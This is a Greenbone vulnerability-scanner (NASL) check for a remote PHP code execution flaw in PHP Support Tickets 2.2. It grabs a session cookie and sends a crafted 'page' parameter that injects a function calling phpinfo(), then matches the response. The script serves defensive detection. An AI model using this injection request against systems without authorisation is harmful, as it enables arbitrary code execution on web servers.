PHP Support Tickets 'page' Parameter Remote PHP Code Execution Vulnerability - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:triangle_solutions:php_support_tickets";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103256");
  script_version("2023-12-22T16:09:03+0000");
  script_tag(name:"last_modification", value:"2023-12-22 16:09:03 +0000 (Fri, 22 Dec 2023)");
  script_tag(name:"creation_date", value:"2011-09-14 13:31:57 +0200 (Wed, 14 Sep 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("PHP Support Tickets 'page' Parameter Remote PHP Code Execution Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("gb_php_support_tickets_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("php_support_tickets/installed");

  script_xref(name:"URL", value:"https://web.archive.org/web/20210214022232/https://www.securityfocus.com/bid/49567/");

  script_tag(name:"summary", value:"PHP Support Tickets is prone to a vulnerability that lets remote
  attackers execute arbitrary code because the application fails to sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"Attackers can exploit this issue to execute arbitrary PHP code
  within the context of the affected webserver process.");

  script_tag(name:"affected", value:"PHP Support Tickets 2.2 is vulnerable. Other versions may also
  be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(port:port, cpe:CPE))
  exit(0);

if(dir == "/")
  dir = "";

url = string(dir, "/index.php");
req = http_get(item:url, port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if(!buf)
  exit(0);

session_id = eregmatch(pattern:"[Ss]et-[Cc]ookie\s*:\s*PHPSESSID=([^;]+)", string:buf);
if(isnull(session_id[1]))
  exit(0);

sess = session_id[1];
url = string(dir, "/index.php?page=xek()%3Bfunction+PHPST_PAGENAME_XEK(){phpinfo()%3B}");

useragent = http_get_user_agent();
host = http_host_name(port:port);

req = string("GET ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "User-Agent: ", useragent, "\r\n",
             "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n",
             "Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3\r\n",
             "Accept-Encoding: gzip, deflate\r\n",
             "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n",
             "Connection: keep-alive\r\n",
             "Cookie: PHPSESSID=", sess, "\r\n",
             "\r\n");
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

if("<title>phpinfo()" >< buf && "php.ini" >< buf && "PHP API" >< buf) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);